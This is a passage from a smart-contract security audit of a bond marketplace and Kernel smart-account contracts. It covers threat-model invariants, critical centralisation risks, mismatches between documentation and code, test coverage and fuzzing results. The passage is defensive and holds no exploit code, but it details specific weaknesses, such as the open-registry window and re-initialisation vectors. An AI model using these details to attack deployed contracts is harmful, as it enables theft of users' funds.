`execute` authorised only for owner or a policy-authorised caller	Run an arbitrary call as a non-owner with no granted roles	External caller	`execute` requires `sender == owner()` or `canExecute`; `nonReentrant`; target must be non-zero, non-self, code-bearing; `msg.value` must equal `value`
Authority is scoped per `(target, selector)`	Reuse roles granted for one operation on a different target or selector	Granted wallet user	`_checkBaseAuthorization` requires `userRoles != 0` and a non-empty bitmap intersection against `keccak256(target, selector)`

Invariant	Violation action	Actor	On-chain mitigation
Only the live wallet owner appoints policy admins; role writes are owner-or-admin	Self-grant policy-admin rights or write roles without authority	External caller	`_requireWalletOwner` / `_requireWalletPolicyOperator` read `owner()` and `ownershipEpoch()` fresh from the wallet on every call
Account enabled ⇔ account ENABLED and linked entity ENABLED, read fresh	Treat an account as enabled while its entity is disabled, or vice-versa	`GUARD` / `ONBOARDING`; code bug	`_isAccountEnabled` ANDs both statuses; disabling an entity disables all its accounts with no per-account write
Entity-type metadata is immutable once frozen	Widen a frozen type's caps or name after accounts depend on it	`ENTITY_TYPE_MANAGER`	`_defineEntityType` reverts on `meta.frozen`; one-way latch: `freezeEntityType` has no inverse (also strands a mis-frozen type)
Wallet creation requires an enabled entity and an entity manager	Deploy a wallet for a disabled or unauthorised entity	External caller	`createWallet` checks `isEntityManager`, `getEntityStatus == ENABLED`, a configured template, non-empty `initData`; `nonReentrant`
An account can only consume its own scheduled operations	Cross-account operation-id collision	Code bug	`hashOperation` excludes the account, but `_operations[account][id]` and `_accountQueue[account]` are account-keyed, isolating collisions (flagged for hardening)
Calldata that cannot be safely parsed is rejected, not mis-parsed	Smuggle a forbidden op past the hook via malformed ABI framing	Account owner (crafted calldata); code bug	`_enforceTimelockOnly` bounds offset/length (CalldataTooShort / MalformedBytesOffset / TruncatedExecutionData) and rejects non-single/batch callTypes (ForbiddenCallType)
Weighted-validator approval accounting is per-account	Inject one account's guardian votes toward another account's threshold	Malicious guardian / external	`weightedStorage` / `guardian` / `proposalStatus` / `voteStatus` are all keyed by `kernel` (`msg.sender`); cross-account counting is impossible (distinct from the stale-vote concern flagged for the weighted validator)
Validator (re)configuration affects only the slot of the observed `msg.sender`	Use `doRecovery` to reset another account's validator	Permissionless caller	`RecoveryAction.doRecovery` forwards to the validator's `onUninstall`/`onInstall`, whose storage is `msg.sender`-keyed, so a direct external call touches only a non-account slot
Implementations are non-initialisable; each proxy initialises once	Re-initialise a proxy to hijack ownership, or initialize the implementation directly	External / front-runner	Every contract calls `_disableInitializers()` in its constructor and guards `initialize` with `initializer`; front-run safety additionally relies on the EBSI factory's atomic deploy-and-initialise (trust boundary)

Critical Risks

The threat model surfaces five risks whose blast radius is catastrophic and which no on-chain control bounds at the audited revision. Their impacts are detailed in the actor analysis above, so the focus here is mitigation; these are the protocol's top security priorities, and the first should be a hard launch gate.

- **Admin and upgrade authority (no on-chain delay).** Every operational function is gated by an instant Solady role with no timelock or multisig, and the upgrade authority lives in the EBSI beacon layer owned by the same operator; the kernel beacons are likewise single-owner and instant. Recommendation: before opening to users, hand each protocol owner and every kernel beacon owner to a multisig behind a *non-zero* `TimelockController` delay (the wrapper already exists but is unwired, and the bootstrap default delay is zero), and treat this handoff as a non-negotiable launch gate; thereafter use hardware custody, a meaningful quorum, and the timelock window for upgrade review.
- **Compliance and custody single-keys.** `FREEZE_ROLE` + `SEIZURE_ROLE` (escrow drain), and `FORCE_TRANSFER_ROLE` / `BURNER` / `TOKEN_FREEZER_ROLE` (reassign, burn, or brick holdings), each act instantly with a single key. Recommendation: split the freeze and seizure roles across separate hardware-backed signers and require a multi-party freeze-then-seize procedure; monitor and rate-limit these calls off-chain with anomaly alerting; and keep the revocation path ready.
- **Entity / KYC operator integrity.** `ONBOARDING` / `GUARD` can enable a sham entity (granting mint authority) or disable legitimate entities (systemic denial of service), and the entity-authority address can self-perpetuate its managers.

Recommendation: hold `ONBOARDING` / `GUARD` under a multisig, reconcile on-chain entity state against the off-chain KYC source, and define an authority-rotation procedure that a single role revocation cannot be circumvented by.

- **Payment-handler integrity (on-chain ↔ off-chain bridge).** `PAYMENT_HANDLER` translates the off-chain payment outcome into on-chain settlement; mis-attestation moves bonds without payment or strands a paid buyer, and the "unpaid" direction is additionally reachable permissionlessly. Recommendation: hold the key in hardware, reconcile every resolution against the payment ledger, and consider gating the permissionless "unpaid" path behind the role as well.
- **Kernel beacon owner (global account takeover).** A single key can instantly replace the code of every end-user account. Recommendation: the same multisig + non-zero-timelock launch gate as the protocol owners, applied to every kernel beacon.

Residual Risk and Accepted Assumptions

The on-chain contracts can preserve their internal accounting and lifecycle invariants but cannot, by design, defend the boundaries the protocol explicitly delegates to off-chain actors. The following residual risks are **accepted assumptions** of the design rather than defects:

- **KYC and eligibility truth:** which entities exist and are enabled is decided off-chain; the chain enforces the gate, not the vetting.
- **Off-chain payment settlement:** the marketplace settles payment off-chain and only attests the outcome on-chain via `PAYMENT_HANDLER`; there is no settlement-currency transfer to verify.
- **EBSI infrastructure and bundler correctness:** proxy deployment, DID / template resolution, and (for the kernel) bundler liveness are external dependencies.
- **Upstream ZeroDev Kernel and P-256 verifier:** the pinned Kernel v3.3 internals and the well-known Daimo / EIP-7212 P-256 paths are trusted as-is; in-scope kernel review is limited to the UUPS-to-Beacon refactor and the project-authored modules.

The following are residual risks the protocol *can* reduce and that this model recommends addressing before mainnet:

- **Centralised, instant upgrade and role authority:** the `TimelockController` handoff with a non-zero delay and a multisig signer set should be a launch gate (see Critical Risks).
- **Chain-fork view divergence:** the vendored `Multicall3` is in scope and its value-conservation guard is on-chain, but its environment-dependent views (`getEthBalance`, `blockhash`, `getBasefee`, `getCurrentBlockCoinbase`) should be re-validated on the deployed BESU / EBSI chain, where they may diverge from canonical Ethereum semantics.

10 Evaluation of Provided Documentation

The Project documentation was provided as a set of per-component markdown specifications under each scope's `docs/` folder, flow-level documentation and runnable examples for the Kernel modules, and in-code NatSpec across both codebases:

- **External documentation:** Each scope ships a dedicated `docs/` folder. The bond contracts provide a per-component markdown specification for every module, namely registry (`BondRegistry`, `EntityRegistry`, `PolicyRegistry`), marketplace (`Marketplace`, `EscrowManager`, `AssetManager`), token (`BaseToken`, `DEUSSToken`), wallet (`CompanyWallet`, `WalletFactory`), governance, and shared utilities. Each spec describes prerequisites, errors, events, and architecture, alongside a separate fuzzing-specification set. The Kernel scope adds flow-level documentation for the timelock primitive (with sequence diagrams) and runnable integration examples for permissioning, multisig, and recovery.
- **In-code NatSpec:** Coverage is exhaustive across both audited scopes. Public and external functions, custom errors, events, and storage structures carry `@notice`, `@dev`, and `@param` annotations, and interface files such as `IDEUSSToken.sol` and `IBaseToken.sol` are documented function-by-function. The documentation leans toward implementer-facing `@dev` detail on the non-obvious accounting and lifecycle paths, which is appropriate for a permissioned system of this kind.
- **Walkthroughs and Q&A:** The depth of the NatSpec and the per-component specifications allowed the in-scope contracts to be understood directly from the repository; no separate walkthrough was required to establish the intended behaviour of the protocol, and the contest brief supplied an additional consolidated statement of invariants and trust assumptions.

Overall, the documentation quality was above average for a protocol of this complexity. Nearly every in-scope contract has both an external markdown specification and dense inline NatSpec, and the intended behaviour of the protocol can be reconstructed from the documentation alone; the explicit invariant and lifecycle catalogues were especially valuable for a system whose security rests on off-chain attestation of collateral and identity. **CODESPECT** recommends maintaining this documentation standard as the protocol evolves, in particular keeping the per-component specifications in sync with the code as new lifecycle paths, events, and role wiring are added.

During the review **CODESPECT** also performed a documentation QA pass, cross-checking each markdown specification and NatSpec block against the deployed behaviour. The discrepancies it surfaced are catalogued in the Documentation QA subsection below (Section 10.1). They are not security vulnerabilities in their own right, but they can mislead integrators and off-chain tooling (for example, decoding events with the documented field layout, computing role hashes from documented constants, or assuming documented error selectors are reachable), and each should be reconciled so the documentation matches the deployed behaviour.

Outcome

The project team addressed the documentation gaps identified during the review and further improved the documentation in response to the findings discovered during the engagement, most extensively in the bond-contract suite.

10.1 Documentation QA

The following discrepancies between the documentation (markdown specifications and NatSpec) and the on-chain behaviour were identified during the documentation QA pass, grouped by codebase and module.

10.1.1 Bond Contract: Registry

- `docs/registry/BondRegistry.md` (`setMultiToken`) lists three prerequisites and no further errors, but the code at `BondRegistry.sol:717-724` carries a permanent one-shot lock (`require(!_multiTokenLocked, BondRegistry__MultiTokenLocked()); _multiTokenLocked = true;`). After the first successful call every subsequent invocation reverts regardless of caller or target. Neither the lock semantics nor the `BondRegistry__MultiTokenLocked` error appear in the spec.
- `docs/registry/BondRegistry.md` (Authorization Requirements) describes `issueBond` and `closeIssuance` as callable by a `PUBLISHER` role holder *or* by `bond.issuer` (enabled in EntityRegistry). The code at `BondRegistry.sol:132-135` (and the same shape at `L186-189`) tests `msg.sender == bond.issuer` first and applies the enablement check inside that branch, so a caller that both holds `PUBLISHER` and equals a disabled `bond.issuer` is always routed through the issuer path and rejected. The spec's "OR" phrasing does not document this routing priority.
- `docs/registry/BondRegistry.md` (Coupon Rate Validation Rules) states the constraints in AND form, while `_validateCouponRates` (`BondRegistry.sol:1019-1041`) encodes each rule in OR form. The two are equivalent only because the length-match check at `L1026` executes first; a future refactor that reordered or removed that check would silently change validation semantics without appearing to contradict the spec.

- docs/registry/EntityRegistry.md (registerEntity / setEntityAuthority) does not document that the 3-argument registerEntity(...) overload (EntityRegistry.sol:78) never writes _entityAuthorities[entityId], whereas the 5-argument overload does (L99). Because setEntityAuthority (L154) gates through _requireEntityAdminOrAuthority (L674), which returns early only for ADMIN_ROLE, an entity onboarded via the 3-argument form can have its initial authority assigned only by ADMIN_ROLE: the ONBOARDING role that registered it cannot complete onboarding without ADMIN involvement. The docs do not state this dependency.

10.1.2 Bond Contract: Marketplace

- docs/marketplace/EscrowManager.md (createEscrow events) documents EscrowCreated with six fields, but the interface (IEscrowManager.sol:26-34) and the emit site (EscrowManager.sol:165) include a seventh field, AssetType assetType. Off-chain indexers using the documented 6-field ABI silently drop assetType on every EscrowCreated event.
- docs/marketplace/EscrowManager.md (supportsInterface) states the function returns true only for the IEscrowManager interface id and false otherwise. EscrowManager.sol:249-250 also returns true for IERC165, IERC1155Receiver, and IERC721Receiver through super; the "otherwise false" wording is incorrect.
- docs/marketplace/Marketplace.md does not document that initialize(...) accepts entityRegistry_ as an optional parameter that may be address(0). When zero is passed, _validateEntityWalletEnabled(...) and _validateEntityTypeAllowed(...) in EntityEligibilityGuard return without performing any check (MarketplaceBase.sol:383-384, EntityEligibilityGuard.sol:53-62), so any address can register offers and accept deals until an ADMIN wires the real registry via setEntityRegistry(...). The spec discloses neither this open-policy window nor the deployment ordering that prevents it.
- docs/marketplace/Marketplace.md and docs/marketplace/AssetManager.md do not document that asset eligibility is validated only at offer registration, not at trade execution. _validateAsset(...) runs only inside registerOffer(...) (Marketplace.sol:1192); if an ADMIN later de-lists a token via AssetManager.setAsset(token, NONE, false, false), existing offers for that token remain fully tradable, because acceptOffer, expressInterest, activateInterest, and the counter-offer paths perform no re-validation against AssetManager. The spec implies de-listing stops all trading; it only prevents new offer registration.

10.1.3 Bond Contract: Token

- docs/token/DEUSSToken.md (mint) lists only the BondRegistry-caller check and the Token__CallerNotBondRegistry / Token__ZeroAmount errors, but DEUSSToken.sol:282-284 routes through BaseToken._beforeRoleTransfer:L286-292, which reverts with Token__TransferNotAllowed when the recipient is not enabled in EntityRegistry. This precondition and error are omitted, so automated issuance workflows that do not pre-validate recipient enablement hit the revert unexpectedly.
- IDEUSSToken.sol NatSpec for protectAddress says a repeat call for an already-protected address is a no-op, but DEUSSToken.sol:224-231 reverts with Token__AddressAlreadyProtected on the second call. The markdown spec is correct; only the interface NatSpec contradicts the behaviour.
- docs/token/DEUSSToken.md and docs/token/BaseToken.md do not document that privileged operations (BondRegistry burns via _burnTokens, and FORCE_TRANSFER_ROLE via forcedTransfer) automatically unfreeze tokens: _validateAndUnfreezeBalance(...) runs inside _beforeRoleTransfer(...) (DEUSSToken.sol:400) and silently reduces the frozen amount when the operation exceeds the holder's free balance. IFungibleToken.sol documents this inline for burn, but the higher-level token specs do not. Operators treating a TOKEN_FREEZER_ROLE freeze as a hard stop may not realise that maturity burns and force-transfers override it.

10.1.4 Bond Contract: Wallet

- docs/wallet/CompanyWallet.md (renounceOwnership) states the function always reverts with CompanyWallet__RenounceOwnershipDisabled, but the onlyOwner modifier at CompanyWallet.sol:55-56 runs first, so a non-owner caller reverts with Solady's Unauthorized() (0x82b42900). The invariant (ownership cannot be renounced) holds for both paths, but the documented error is only one of two possible selectors.
- docs/wallet/WalletFactory.md (Contract Architecture) lists four bases for WalletFactory, but WalletFactory.sol:23 also inherits Initializable, required by the initializer modifier on initialize(...). The inheritance list is incomplete.
- docs/wallet/CompanyWallet.md (receive) says it accepts plain native-currency transfers, but the NativeReceived LOG2 emission (CompanyWallet.sol:37-38) plus dispatcher overhead exceeds the 2300-gas stipend forwarded by .transfer and .send, so those revert with out-of-gas. Only a call with an explicit gas budget succeeds; the spec does not warn about the gas requirement.
- docs/wallet/WalletFactory.md is silent on address determinism: createWallet deploys via new BeaconProxy(...) (regular CREATE, not CREATE2), so the wallet address depends on the ProxyFactory nonce at deployment time and is not pre-computable from caller inputs. The inherited computeProxyAddress and _deployProxyWithSalt helpers exist but are never reached from createWallet.

- docs/wallet/CompanyWallet.md (execute) does not document that the target.code.length != 0 (L65) and data.length > 3 (L69) guards reject bare native transfers: native value can leave the wallet only as value attached to a contract call carrying more than 3 bytes of calldata. The wallet receives native via receive() but exposes no plain native payout path; the spec does not state this constraint.

10.1.5 Bond Contract: Governance

- docs/governance/TimelockController.md (Roles) names a constant TIMELOCK_ADMIN_ROLE with preimage keccak256("TIMELOCK_ADMIN_ROLE"). OpenZeppelin 5.x consolidated that historical (OZ 4.x) role into DEFAULT_ADMIN_ROLE = bytes32(0), and the grants in TimelockControllerUpgradeable.sol use DEFAULT_ADMIN_ROLE. Tooling built around the documented constant computes a phantom role-hash that no on-chain function checks; grantRole(keccak256("TIMELOCK_ADMIN_ROLE"), addr) silently succeeds without granting any real authority.

10.1.6 Account-Abstraction: Timelock

- The sequence diagram at docs/timelock/timelock.md:26,48 shows schedule(target, value, data, salt, predecessor) and execute(target, value, data, salt, predecessor), but the code at Timelock.sol:174/L216 and the hashOperation preimage at L339 use (target, value, data, predecessor, salt): the two trailing bytes32 arguments are swapped relative to the diagram. The on-chain paths are internally consistent; only the diagram is wrong, so tooling built from it rather than the ABI computes wrong operation IDs.
- The diagram describes the BLOCKED flow as reverting with Forbidden(), but the code raises ForbiddenTarget, ForbiddenSelector, or ForbiddenCallType (TimelockEnforcerHook.sol:62-66,182,184). The behaviour is correct and more granular, but monitors keyed on a generic Forbidden() selector mis-decode or silently miss BLOCKED events.
- The primary Timelock security claim and a state label in docs/timelock/timelock.md are written in Slovak (*"hook sa NEVOLA"*, the hook is not called on the executeFromExecutor path; *"BLOCKED - pokus obist Timelock"*) inside an otherwise-English specification. The claim is verified true against Kernel.sol:329+, but the load-bearing statement is not in English.

10.1.7 Account-Abstraction: Kernel Core

- The kernel-examples README still documents upgradeTo(address), which the Beacon refactor removed (Kernel.sol:180-181 carries a REMOVED marker; a UserOp calling it reverts InvalidSelector via fallback). Upgrades are now global and beacon-owner-only.
- The README still documents the constructor 0xdeadbeef sentinel; it was removed, so an uninitialized BeaconProxy now returns rootValidator() == bytes21(0), not 0xdeadbeef (Kernel.sol:92). External consumers following the README misclassify uninitialized accounts; the in-scope isKernelAccount (which uses accountId()) is unaffected.

10.1.8 Account-Abstraction: Other Undocumented Behaviour

- Timelock.InvalidInitializedData() is thrown by both _onInstall and updateDelay (a post-install operation), yet the name implies an init-only condition (Timelock.sol:106-108,160,365).

11 Test Suite Evaluation

The engagement covers two codebases. This section evaluates each test suite separately: the Project bond-platform contracts (`bond-contract-master`) and the Kernel smart-account contracts (`account-abstraction-master`). All builds and tests were run with Foundry (`forge`) version 1.7.1 (commit `4072e487`) and the Solidity compiler 0.8.34.

11.1 Project Contracts (`bond-contract-master`)

11.1.1 Compilation Output

```
> forge build

Compiling 350 files with Solc 0.8.34
Compiler run successful!
```

11.1.2 Tests Output

```
> forge test --no-match-path "test/fuzzing/*"

  marketplace   833 passed  (20 suites)
  registry      543 passed  ( 9 suites)
  token         204 passed  ( 2 suites)
  wallet         51 passed  ( 4 suites)
  governance     47 passed  ( 3 suites)
  utils          18 passed  ( 2 suites)
  deployer*     157 passed  (13 suites)   *deployment helpers (out of audit scope)

Ran 53 test suites: 1853 tests passed, 0 failed, 0 skipped (1853 total)
```

11.1.3 Notes on the Test Suite

The **Project** test suite provides **strong** coverage of the in-scope contracts. It is mature and assertion-driven: critical paths run against *real* deployed contracts (registries, token, marketplace, escrow) with real fund movement, not deploy-only or mock stubs. The end-to-end marketplace suites genuinely move bond tokens depositor → escrow → buyer and assert on actual on-chain balances.

Coverage statistics (`forge coverage`, in-scope `src/` only):

- Line coverage: essentially `100%` on in-scope contracts; every in-scope contract is at `100%` except `Marketplace.sol` at `99.80%` (501/502, a single line) and `base/DependenciesBase.sol` at `66.67%`. The project-wide `forge coverage` total of `35.89%` is lower only because it also counts out-of-scope `script/`, `ebsi/`, orderbook, and lens files.
- Branch coverage: `100%` on in-scope contracts, including the registries (Bond 180/180, Entity 68/68, Policy 67/67), the token (DEUSSToken 18/18, BaseToken 28/28), and the marketplace stack (Marketplace 165/165, EscrowManager 72/72, AssetManager 24/24).
- Function coverage: `100%` on in-scope contracts.

Per-cluster assessment:

- `src/token/` (DEUSSToken): complete (`100%` lines/branches). Every compliance branch (freeze, forced transfer, protected addresses, the entity-registry `canTransfer`/`canApprove`/`isAccountEnabled` gating, pause, mint/burn, historical balance checkpoints) is invoked with real assertions.
- `src/registry/` (Entity/Bond/Policy): complete, including entity-array swap-and-pop integrity with a corrupted-index revert, bond supply and successor-versioning invariants, and per-wallet policy role grants with ownership-epoch invalidation.
- `src/marketplace/` (excl. orderbook/lens): every entrypoint (offers, express/activate interest, counter-offer, resolve/settle, dispute/seize, redemption) is invoked with real escrow movement across all three sale modes, and EscrowManager is exercised across all four supported asset standards.
- `src/wallet/`, `src/governance/`, `src/utils/`: the policy-gated `CompanyWallet.execute` authorisation and epoch-revocation story, the TimelockController, and the utility libraries are covered with assertions.
- `base/DependenciesBase.sol` is the one materially under-covered in-scope contract (`66.67%`): its one-shot dependency-setter guard branches (already-set, zero-address, role) are only partly exercised.

- Branch coverage proves each branch executes, not that adversarial scenarios are tested. One such nuance remains: a few entity-registry deny paths (DEUSSToken `canTransfer`/`canApprove`) are reached via `vm.mockCall` rather than by driving the real registry into a denying state.

Recommended additions:

- Complete the branch coverage of `DependenciesBase` (its one-shot setter guard branches).
- Where practical, drive the real registry into denying states instead of `vm.mockCall` for the DEUSSToken compliance-gate negatives.

11.2 Kernel Contracts (`account-abstraction-master`)

11.2.1 Compilation Output

```
> forge build --force

Compiling 184 files with Solc 0.8.34
Solc 0.8.34 finished in 133.30s
Compiler run successful with warnings:
  - incorrect-shift  (test/TimelockExecutor.t.sol) — test helper only
  - unchecked-call   (test helpers) — does not affect in-scope contracts
```

The project compiles with `via-ir = true`. Coverage therefore requires the `--ir-minimum` flag; a plain `forge coverage` invocation aborts under the IR pipeline. The build itself completes successfully (184 files, Solc 0.8.34). The remaining `forge build` lint warnings (`incorrect-shift`, `unchecked-call`) originate exclusively in test helpers and do not affect the contracts in scope.

11.2.2 Tests Output

```
> forge test

[PASS] test/deployer/ECDSAValidatorDeployer.t.sol      13 passed
[PASS] test/deployer/FactoryStakerDeployer.t.sol       13 passed
[PASS] test/deployer/VerifierDeployer.t.sol            13 passed
[PASS] test/deployer/ActionDeployer.t.sol              13 passed
[PASS] test/deployer/UtilsDeployer.t.sol               13 passed
[PASS] test/deployer/WeightedValidatorDeployer.t.sol   13 passed
[PASS] test/deployer/KernelFactoryDeployer.t.sol       13 passed
[PASS] test/deployer/KernelDeployer.t.sol              10 passed
[PASS] test/deployer/WebAuthnValidatorDeployer.t.sol   13 passed
[PASS] test/TimelockExecutor.t.sol                     50 passed
[PASS] test/TimelockEnforcerHook.t.sol                 24 passed
[PASS] test/kernel/Kernel.t.sol                         6 passed
[PASS] test/KernelSmartAccountUtils.t.sol              24 passed
[PASS] test/TimelockIntegration.t.sol  (Integration)   12 passed
[PASS] test/TimelockIntegration.t.sol  (WithHook)      12 passed
[PASS] test/kernel/factory/KernelFactory.t.sol         48 passed

Ran 16 test suites: 290 tests passed, 0 failed, 0 skipped (290 total)

Tests: 290 passed, 0 failed, 0 ignored, 0 filtered out
```

11.2.3 Notes on the Test Suite

The **Kernel** test suite unevenly covers the contracts in scope. The project-original contracts (the deployer family, the timelock executor and enforcer hook, the factory, and `KernelSmartAccountUtils`) are exercised thoroughly, whereas the forked and modified ZeroDev kernel contracts that remain in scope are covered only partially. The entire suite consists of example-based unit tests (290 functions); no fuzz, invariant, or property-based tests are present.

A nuance worth recording: the headline `32.0%` total line coverage is misleading on two counts. First, it is dragged down by vendored code under `src/kernel/`, of which the cryptographic primitives are near-verbatim copies (see gaps below); the contracts the client authored are at `90 to 100%`. Second, the per-file percentages understate the depth of the core path. The integration suite (`TimelockIntegration`) builds full Kernel accounts with a `WeightedValidator` root, signs a real user-operation hash with an ECDSA key, and submits it through `EntryPoint.handleOps`. Because `handleOps` reverts on failed validation and the tests pass, the core account flow and the validator's signature check are provably executed end to end. A review of the test sources (below) is therefore more informative than the line totals: it separates code that is genuinely driven by a user operation from code that is only deployed and installed but never invoked.

Coverage statistics (`forge coverage --ir-minimum`, in-scope `src/` only):

- Line coverage: 32.0% (654/2042) overall; 90 to 100% on client-authored contracts, the remainder dominated by vendored kernel code.
- Branch coverage: 14.1% (82/580).
- Function coverage: 42.1% (147/349).

Per-cluster assessment:

- src/kernel/validators/ECDSAValidator.sol (16% lines / 0% branches): the signature-validation logic is *not exercised at all*. No test invokes validateUserOp, isValidSignatureWithSender, onUninstall, or preCheck/postCheck on the real contract; the only handleOps flows in the suite use a WeightedValidator root, and the recovery and utility tests substitute *mock* ECDSA validators. The contract is reached only through its deployer (deploy and initialize).
- src/kernel/validators/WebAuthnValidator.sol (35% lines / 0% branches): likewise unexercised beyond deploy and install. No test drives validateUserOp or _verifySignature, so the end-to-end passkey signature path, and therefore P256Verifier, is never reached. The contract appears in tests only as an argument to canBeControlledByPasskey, a view that reads configuration storage.
- src/kernel/validators/WeightedValidator.sol (project-original ERC-7579 validator, 129 LoC; kernel-7579-plugins ships only a Weighted ECDSA *signer*, not a validator) is *partially* exercised. It is the root validator used by TimelockIntegration: a single ECDSA (k1) guardian signs a real user operation submitted via handleOps, so its primary signature path (validateUserOp, _checkK1Sig, _checkSigVote, _addGuardians) is validated end to end. The 12% branch figure reflects that only the single-signer happy path runs: the passkey/secp256r1 path (_checkR1Sig, _checkSig), _removeGuardians, renew(), onUninstall, and the weight/threshold rejection branches are never reached.
- src/kernel/Kernel.sol (39% lines / 17% branches): the core account flow *is* covered end to end. Because TimelockIntegration submits signed user operations through EntryPoint.handleOps, the validateUserOp, execute, installModule, and initialize paths are exercised under real validation. The untested surface is the administrative and mutation paths: changeRootValidator, installValidations/uninstallValidation, invalidateNonce, isValidSignature, the ERC-721/1155 receivers, and fallback. Note the UUPS upgradeTo was intentionally removed in favour of beacon-level upgrades, which *are* covered by the deployer suite.
- src/kernel/factory/FactoryStaker.sol (31%, modified fork) and src/kernel/actions/RecoveryAction.sol (33% lines, 0% statements) have minimal coverage.
- Several project-original helpers are under-tested: src/executors/ERC7579ExecutorBase.sol is at 50%, and src/deployer/ProxyDeployer.sol reaches 89% lines but only 17% branches (revert and error paths untested).
- The webauthn cryptographic primitives (P256, P256Verifier, WebAuthn, Base64URL) sit at 0 to 1%. These are near-verbatim vendored copies (diffs of 1 to 4 lines, plus a 13-line Initializable proxy wrapper on P256Verifier); low local coverage here is acceptable because the cryptographic logic is unchanged and tested upstream / in solady.

Recommended additions:

- Add end-to-end signature-validation tests for ECDSAValidator and WebAuthnValidator that drive validateUserOp (and, for WebAuthn, _verifySignature so that P256Verifier is reached) through a real user operation, plus negative cases (0% branch today). These contracts are currently only deployed and installed, never invoked.
- Extend WeightedValidator.sol coverage to the passkey/secp256r1 path (_checkR1Sig), guardian removal, renew(), onUninstall, and the weight/threshold rejection branches; only the single-signer k1 happy path is exercised today (12% branch).
- Cover Kernel.sol's administrative and mutation paths, which the integration suite does not reach: changeRootValidator, installValidations/uninstallValidation, invalidateNonce, isValidSignature, and the ERC-721/1155 receivers. (The core validateUserOp/execute/initialize flow is already covered end to end.)
- Exercise ProxyDeployer revert paths (16.67% branch) and add coverage for ERC7579ExecutorBase.

12 Fuzz & Invariant Testing

This section covers three activities, one per subsection: (1) an assessment of the protocol's existing fuzzing setup; (2) extension of the bond Marketplace harness and the production finding identified during harness research; and (3) new fuzzing harnesses built for the Kernel account-abstraction modules and the production findings they surfaced. All work was confined to the test suites; no production contract was modified. Both scopes use Echidna 2.3.2 in assertion mode.

Outcome

The fuzzing harnesses and invariants we developed for the bond-contract suite were incorporated into the project's test suite, strengthening its ongoing regression and invariant coverage. For the account-abstraction scope, the team added targeted unit tests covering the reported findings rather than adopting the fuzzing harnesses.

12.1 Assessment of the Existing Fuzzing Suite

The existing setup was reviewed before any of our own properties were added, to establish what the protocol could already prove about itself.

Scope	Existing fuzzing setup	Assessment
Bond Marketplace / registry stack	Mature stateful harness (handler / precondition / postcondition / snapshot architecture) across 8 components, driven by Echidna	70 declared invariants audited: 27 correctly implemented, 4 broken, 2 missing, and 37 enforced only *indirectly* (see below)
Kernel AA modules (validators, P256 / WebAuthn)	None; unit tests only, with no property or invariant coverage	No fuzzing existed for the signature-verification gates or validator key-management logic; these are the highest-value authentication surfaces

Table 11: State of the protocol's fuzzing setup prior to this engagement

Of these, 4 properties were **broken** (INV-24, INV-26, INV-27, INV-68), where a property function was present but missing the decisive assertion, and 2 were **missing** (INV-25, INV-43) with no implementation. In every case the property itself held in production; the gap was purely in the harness's assertion coverage. All except INV-43 (reentrancy, not reachable by a stateful fuzzer without an adversarial callback contract) are addressed in the next subsection.

A further 37 invariants are enforced *indirectly*: rather than being checked by a dedicated property, they hold by construction, through the way preconditions select state (the "bucket" design) or because a global conservation check would eventually diverge if they were violated. This is a sound and common harness design, and all 37 hold today. The observation is one of *test coverage*, not a protocol vulnerability: production enforces each property correctly, and the only residual risk is that a future code change could regress one of them without the harness noticing, since no assertion targets it directly. As a hardening step, the extensions in the next subsection promote the highest-value of these to explicit, self-evident checks; the remainder are lower-risk structural and immutability properties that the client team can convert incrementally as the harness evolves. The complete set is listed in Table 12.

ID	Property	ID	Property
INV-05	Inventory locked in `inDeals` (PENDING/-PAID/IN_DISPUTE)	INV-42	Frozen offers block creation & settlement
INV-09	Deal status machine is a DAG	INV-48	Offer-escrow mapping set once
INV-10	Interest status machine is a DAG	INV-49	Escrow ID preview matches actual ID
INV-11	Offer cancellation is one-way	INV-50	`amounts.total` immutable post-registration
INV-12	Arbitration is final	INV-51	`buyer` / `investor` immutable post-creation
INV-13	Payment marking respects deadline	INV-52	`deal.price` / `interest.price` immutable
INV-14	Dispute init respects buffer window	INV-57	Offer entity type validated at registration
INV-15	UNPAID settlement needs expired buffer	INV-60	Offer expiry minimum threshold at registration
INV-16	Deal seizure requires dual-frozen state	INV-61	`resolveCounterOffer` expiry-check gap (KG-01)
INV-18	Activation/close window exclusivity	INV-63	EntityRegistry `address(0)` pass-through
INV-19	No cancel if discovery threshold reached	INV-64	Asset validation one-time at `registerOffer`
INV-20	Reserved units track EXPRESSED interests	INV-66	Payment deadline set once, immutable
INV-28	Buyer cannot be offer owner	INV-67	Entity check asymmetry (type vs enabled)
INV-29	REDEMPTION requires non-empty allowlist	INV-70	`deal.price` informational only
INV-30	INTEREST_DISCOVERY has no allowlist		
INV-31	Counter offers only on MARKETPLACE		
INV-32	Counter offer count per user/offer monotonic		
INV-33	`minSaleUnits` bounded & lot-aligned		
INV-37	Only buyer can initiate dispute		
INV-38	Only owner can cancel/close/resolve/withdraw		
INV-39	Allowlist immutable post-registration		
INV-40	Offer expiry immutable except cancel/-seizure		
INV-41	Currency whitelist enforcement		

Table 12: The 37 invariants enforced indirectly (bucket-based or structural; no explicit property asserts them)

12.2 Bond Marketplace: Coverage Extensions and Findings

Reviewing the bond deal lifecycle surfaced seven invariant properties with incomplete assertion coverage: four broken, one missing, one enforced only indirectly, and one correct but only partially covered. All were addressed with targeted edits to the harness. For every one, production code already enforced the property correctly, so the additions provide regression coverage against future refactors.

ID	Invariant added / extended	Prior state
INV-24	Deal price equals `unitPrice × amount`	Broken
INV-25	Deal and interest amounts are multiples of `offer.lot`	Missing
INV-26	`deal.paymentDeadline` set to the correct sale-mode threshold	Broken
INV-27	`deal.disputeBuffer` anchored to `paymentDeadline + period`	Broken
INV-28	Deal buyer differs from offer owner (no self-dealing)	Indirect
INV-21	`interestedUnits` is monotonically non-decreasing	Correct (partial coverage)
INV-68	Cancelled-offer expiry is latched to the cancellation timestamp	Broken

Table 13: Bond harness invariant coverage extensions

Campaign result. The full updated property set was executed with Echidna 2.3.2 (assertion mode, 3 workers): **1,644,298 calls**, 172 assertion tests, 0 violations. The corpus reached and exercised `acceptOffer`, `activateInterest`, `expressInterest`, `cancelOffer`, `cancelFailedInterestOffer`, and `resolveCounterOffer` under varied state, confirming the production guards behind each property hold.

Finding surfaced. Research during this work found that `activateInterest` enforces no lower bound on the activation window, so an expressed interest can be promoted into a deal before `saleEnd`. Reported as Finding 7.3.1 (Medium). In review the team clarified that early activation is intentional once the `minSaleUnits` threshold is reached (the NatSpec wording was imprecise); the accepted issue is that the deal's `paymentDeadline` was anchored to the activation timestamp rather than to the end of the activation window. The fix, anchoring `paymentDeadline` to the window end, was implemented in commit `1441b89`.

